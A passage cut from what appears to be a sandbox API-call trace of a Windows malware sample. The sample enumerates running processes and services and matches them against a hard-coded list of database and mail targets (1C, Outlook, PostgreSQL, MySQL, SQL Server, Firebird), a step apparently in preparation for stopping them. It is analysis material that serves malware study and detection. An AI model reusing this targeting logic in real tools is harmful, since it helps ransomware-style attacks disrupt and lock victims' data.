pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0196.275] lstrlenW (lpString="spoolsv.exe") returned 11 [0196.275] lstrcmpiW (lpString1="1c8.exe", lpString2="spoolsv.exe") returned -1 [0196.276] lstrcmpiW (lpString1="1cv77.exe", lpString2="spoolsv.exe") returned -1 [0196.276] lstrcmpiW (lpString1="outlook.exe", lpString2="spoolsv.exe") returned -1 [0196.276] lstrcmpiW (lpString1="postgres.exe", lpString2="spoolsv.exe") returned -1 [0196.276] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="spoolsv.exe") returned -1 [0196.276] lstrcmpiW (lpString1="mysqld.exe", lpString2="spoolsv.exe") returned -1 [0196.276] lstrcmpiW (lpString1="sqlservr.exe", lpString2="spoolsv.exe") returned 1 [0196.276] Process32NextW (in: hSnapshot=0x200, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0196.277] lstrlenW (lpString="taskhost.exe") returned 12 [0196.277] lstrcmpiW (lpString1="1c8.exe", lpString2="taskhost.exe") returned -1 [0196.277] lstrcmpiW (lpString1="1cv77.exe", lpString2="taskhost.exe") returned -1 [0196.277] lstrcmpiW (lpString1="outlook.exe", lpString2="taskhost.exe") returned -1 [0196.277] lstrcmpiW (lpString1="postgres.exe", lpString2="taskhost.exe") returned -1 [0196.277] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="taskhost.exe") returned -1 [0196.277] lstrcmpiW (lpString1="mysqld.exe", lpString2="taskhost.exe") returned -1 [0196.277] lstrcmpiW (lpString1="sqlservr.exe", lpString2="taskhost.exe") returned -1 [0196.278] Process32NextW (in: hSnapshot=0x200, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.279] lstrlenW (lpString="svchost.exe") returned 11 [0196.279] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0196.279] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0196.279] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0196.279] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0196.279] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0196.279] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0196.279] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0196.279] Process32NextW (in: hSnapshot=0x200, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0196.280] lstrlenW (lpString="dllhost.exe") returned 11 [0196.280] lstrcmpiW (lpString1="1c8.exe", lpString2="dllhost.exe") returned -1 [0196.280] lstrcmpiW (lpString1="1cv77.exe", lpString2="dllhost.exe") returned -1 [0196.280] lstrcmpiW (lpString1="outlook.exe", lpString2="dllhost.exe") returned 1 [0196.281] lstrcmpiW (lpString1="postgres.exe", lpString2="dllhost.exe") returned 1 [0196.281] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="dllhost.exe") returned 1 [0196.281] lstrcmpiW (lpString1="mysqld.exe", lpString2="dllhost.exe") returned 1 [0196.281] lstrcmpiW (lpString1="sqlservr.exe", lpString2="dllhost.exe") returned 1 [0196.281] Process32NextW (in: hSnapshot=0x200, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0196.283] lstrlenW (lpString="cmd.exe") returned 7 [0196.283] lstrcmpiW (lpString1="1c8.exe", lpString2="cmd.exe") returned -1 [0196.283] lstrcmpiW (lpString1="1cv77.exe", lpString2="cmd.exe") returned -1 [0196.283] lstrcmpiW (lpString1="outlook.exe", lpString2="cmd.exe") returned 1 [0196.283] lstrcmpiW (lpString1="postgres.exe", lpString2="cmd.exe") returned 1 [0196.283] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="cmd.exe") returned 1 [0196.283] lstrcmpiW (lpString1="mysqld.exe", lpString2="cmd.exe") returned 1 [0196.283] lstrcmpiW (lpString1="sqlservr.exe", lpString2="cmd.exe") returned 1 [0196.284] Process32NextW (in: hSnapshot=0x200, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0196.284] lstrlenW (lpString="reader_sl.exe") returned 13 [0196.285] lstrcmpiW (lpString1="1c8.exe", lpString2="reader_sl.exe") returned -1 [0196.285] lstrcmpiW (lpString1="1cv77.exe", lpString2="reader_sl.exe") returned -1 [0196.285] lstrcmpiW (lpString1="outlook.exe", lpString2="reader_sl.exe") returned -1 [0196.285] lstrcmpiW (lpString1="postgres.exe", lpString2="reader_sl.exe") returned -1 [0196.285] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="reader_sl.exe") returned -1 [0196.285] lstrcmpiW (lpString1="mysqld.exe", lpString2="reader_sl.exe") returned -1 [0196.285] lstrcmpiW (lpString1="sqlservr.exe", lpString2="reader_sl.exe") returned 1 [0196.285] Process32NextW (in: hSnapshot=0x200, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 1 [0196.286] lstrlenW (lpString="AdobeARM.exe") returned 12 [0196.286] lstrcmpiW (lpString1="1c8.exe", lpString2="AdobeARM.exe") returned -1 [0196.286] lstrcmpiW (lpString1="1cv77.exe", lpString2="AdobeARM.exe") returned -1 [0196.286] lstrcmpiW (lpString1="outlook.exe", lpString2="AdobeARM.exe") returned 1 [0196.287] lstrcmpiW (lpString1="postgres.exe", lpString2="AdobeARM.exe") returned 1 [0196.287] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="AdobeARM.exe") returned 1 [0196.287] lstrcmpiW (lpString1="mysqld.exe", lpString2="AdobeARM.exe") returned 1 [0196.287] lstrcmpiW (lpString1="sqlservr.exe", lpString2="AdobeARM.exe") returned 1 [0196.287] Process32NextW (in: hSnapshot=0x200, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0196.288] lstrlenW (lpString="conhost.exe") returned 11 [0196.288] lstrcmpiW (lpString1="1c8.exe", lpString2="conhost.exe") returned -1 [0196.288] lstrcmpiW (lpString1="1cv77.exe", lpString2="conhost.exe") returned -1 [0196.288] lstrcmpiW (lpString1="outlook.exe", lpString2="conhost.exe") returned 1 [0196.289] lstrcmpiW (lpString1="postgres.exe", lpString2="conhost.exe") returned 1 [0196.289] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="conhost.exe") returned 1 [0196.289] lstrcmpiW (lpString1="mysqld.exe", lpString2="conhost.exe") returned 1 [0196.289] lstrcmpiW (lpString1="sqlservr.exe", lpString2="conhost.exe") returned 1 [0196.289] Process32NextW (in: hSnapshot=0x200, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0196.290] CloseHandle (hObject=0x200) returned 1 [0196.290] Sleep (dwMilliseconds=0x1f4) [0197.422] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3b03738 [0197.431] EnumServicesStatusExW (in: hSCManager=0x3b03738, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0197.436] GetLastError () returned 0xea [0197.436] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa08) returned 0x8f15f8 [0197.436] EnumServicesStatusExW (in: hSCManager=0x3b03738, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x8f15f8, cbBufSize=0xa08, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x8f15f8, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0197.497] CloseServiceHandle (hSCObject=0x3b03738) returned 1 [0197.505] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0197.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0197.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0197.506] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0197.506] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0197.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0197.506] lstrlenW (lpString="AudioSrv") returned 8 [0197.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0197.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0197.506] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0197.506] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0197.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0197.506] lstrlenW (lpString="BFE") returned 3 [0197.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0197.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0197.507] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0197.507] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0197.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0197.507] lstrlenW (lpString="CscService") returned 10 [0197.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0197.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0197.507] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0197.507] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0197.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0197.507] lstrlenW (lpString="DcomLaunch") returned 10 [0197.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0197.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0197.508] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0197.508] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0197.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0197.508] lstrlenW (lpString="Dhcp") returned 4 [0197.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0197.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0197.508] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0197.508] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0197.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0197.509] lstrlenW (lpString="Dnscache") returned 8 [0197.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0197.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0197.509] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0197.509] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0197.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0197.509] lstrlenW (lpString="eventlog") returned 8 [0197.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0197.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0197.509] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0197.509] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0197.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0197.510] lstrlenW (lpString="EventSystem") returned 11 [0197.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0197.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0197.510] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0197.510] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0197.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0197.510] lstrlenW (lpString="gpsvc") returned 5 [0197.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0197.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0197.511] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0197.511] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0197.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0197.511] lstrlenW (lpString="lmhosts") returned 7 [0197.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0197.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0197.512] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0197.512] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0197.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0197.512] lstrlenW (lpString="MMCSS") returned 5 [0197.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0197.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0197.512] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0197.513] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0197.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0197.513] lstrlenW (lpString="nsi") returned 3 [0197.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0197.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0197.513] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0197.513] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0197.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0197.513] lstrlenW (lpString="PlugPlay") returned 8 [0197.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0197.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0197.514] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0197.514] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0197.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0197.514] lstrlenW (lpString="Power") returned 5 [0197.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0197.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0197.515] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0197.515] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0197.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0197.515] lstrlenW (lpString="ProfSvc") returned 7 [0197.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0197.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0197.516] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0197.516] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0197.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0197.516] lstrlenW (lpString="RpcEptMapper") returned 12 [0197.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0197.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0197.516] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0197.517] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0197.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0197.517] lstrlenW (lpString="RpcSs") returned 5 [0197.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0197.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0197.517] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0197.517] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0197.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0197.518] lstrlenW (lpString="SamSs") returned 5 [0197.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0197.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0197.518] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0197.518] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0197.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0197.519] lstrlenW (lpString="Schedule") returned 8 [0197.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0197.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0197.519] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0197.519] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0197.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0197.519] lstrlenW (lpString="SENS") returned 4 [0197.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0197.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0197.520] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0197.520] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0197.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0197.520] lstrlenW (lpString="ShellHWDetection") returned 16 [0197.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0197.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0197.521] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0197.521] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0197.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0197.521] lstrlenW (lpString="Spooler") returned 7 [0197.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0197.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0197.521] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0197.521] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0197.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0197.522] lstrlenW (lpString="Themes") returned 6 [0197.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0197.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0197.522] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0197.522] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0197.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0197.523] lstrlenW (lpString="UxSms") returned 5 [0197.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0197.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0197.523] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0197.523] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0197.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0197.523] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8f15f8 | out: hHeap=0x880000) returned 1 [0197.523] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x234 [0197.531] Process32FirstW (in: hSnapshot=0x234, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0197.533] Process32NextW (in: hSnapshot=0x234, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0197.535] lstrlenW (lpString="System") returned 6 [0197.535] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0197.535] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0197.535] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0197.535] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0197.535] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0197.535] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0197.536] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0197.536] Process32NextW (in: hSnapshot=0x234, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0197.538] lstrlenW (lpString="smss.exe") returned 8 [0197.538] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0197.538] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0197.538] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0197.538] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0197.538] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0197.538] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0197.538] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0197.539] Process32NextW (in: hSnapshot=0x234, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0197.540] lstrlenW (lpString="csrss.exe") returned 9 [0197.540] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0197.541] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0197.541] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0197.541] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0197.541] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0197.541] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0197.541] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0197.541] Process32NextW (in: hSnapshot=0x234, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0197.543] lstrlenW (lpString="wininit.exe") returned 11 [0197.543] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0197.543] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0197.543] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0197.544] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0197.544] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0197.544] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0197.544] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0197.544] Process32NextW (in: hSnapshot=0x234, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0198.139] lstrlenW (lpString="csrss.exe") returned 9 [0198.139] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0198.139] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0198.139] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0198.140] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0198.140] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0198.140] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0198.140] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0198.140] Process32NextW (in: hSnapshot=0x234, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0198.141] lstrlenW (lpString="winlogon.exe") returned 12 [0198.141] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0198.141] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0198.141] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0198.141] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0198.141] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0198.142] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0198.142] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0198.142] Process32NextW (in: hSnapshot=0x234, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, 